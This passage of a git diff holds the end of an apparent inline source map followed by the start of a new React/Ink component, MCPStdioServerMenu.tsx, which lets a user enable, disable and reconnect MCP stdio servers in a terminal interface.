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
\ No newline at end of file
diff --git a/cc-haha/src/components/mcp/MCPStdioServerMenu.tsx b/cc-haha/src/components/mcp/MCPStdioServerMenu.tsx
new file mode 100644
index 0000000..b595103
--- /dev/null
+++ b/cc-haha/src/components/mcp/MCPStdioServerMenu.tsx
@@ -0,0 +1,177 @@
+import figures from 'figures';
+import React, { useState } from 'react';
+import type { CommandResultDisplay } from '../../commands.js';
+import { useExitOnCtrlCDWithKeybindings } from '../../hooks/useExitOnCtrlCDWithKeybindings.js';
+import { Box, color, Text, useTheme } from '../../ink.js';
+import { getMcpConfigByName } from '../../services/mcp/config.js';
+import { useMcpReconnect, useMcpToggleEnabled } from '../../services/mcp/MCPConnectionManager.js';
+import { describeMcpConfigFilePath, filterMcpPromptsByServer } from '../../services/mcp/utils.js';
+import { useAppState } from '../../state/AppState.js';
+import { errorMessage } from '../../utils/errors.js';
+import { capitalize } from '../../utils/stringUtils.js';
+import { ConfigurableShortcutHint } from '../ConfigurableShortcutHint.js';
+import { Select } from '../CustomSelect/index.js';
+import { Byline } from '../design-system/Byline.js';
+import { KeyboardShortcutHint } from '../design-system/KeyboardShortcutHint.js';
+import { Spinner } from '../Spinner.js';
+import { CapabilitiesSection } from './CapabilitiesSection.js';
+import type { StdioServerInfo } from './types.js';
+import { handleReconnectError, handleReconnectResult } from './utils/reconnectHelpers.js';
+type Props = {
+  server: StdioServerInfo;
+  serverToolsCount: number;
+  onViewTools: () => void;
+  onCancel: () => void;
+  onComplete: (result?: string, options?: {
+    display?: CommandResultDisplay;
+  }) => void;
+  borderless?: boolean;
+};
+export function MCPStdioServerMenu({
+  server,
+  serverToolsCount,
+  onViewTools,
+  onCancel,
+  onComplete,
+  borderless = false
+}: Props): React.ReactNode {
+  const [theme] = useTheme();
+  const exitState = useExitOnCtrlCDWithKeybindings();
+  const mcp = useAppState(s => s.mcp);
+  const reconnectMcpServer = useMcpReconnect();
+  const toggleMcpServer = useMcpToggleEnabled();
+  const [isReconnecting, setIsReconnecting] = useState(false);
+  const handleToggleEnabled = React.useCallback(async () => {
+    const wasEnabled = server.client.type !== 'disabled';
+    try {
+      await toggleMcpServer(server.name);
+      // Return to the server list so user can continue managing other servers
+      onCancel();
+    } catch (err) {
+      const action = wasEnabled ? 'disable' : 'enable';
+      onComplete(`Failed to ${action} MCP server '${server.name}': ${errorMessage(err)}`);
+    }
+  }, [server.client.type, server.name, toggleMcpServer, onCancel, onComplete]);
+  const capitalizedServerName = capitalize(String(server.name));
+
+  // Count MCP prompts for this server (skills are shown in /skills, not here)
+  const serverCommandsCount = filterMcpPromptsByServer(mcp.commands, server.name).length;
+  const menuOptions = [];
+
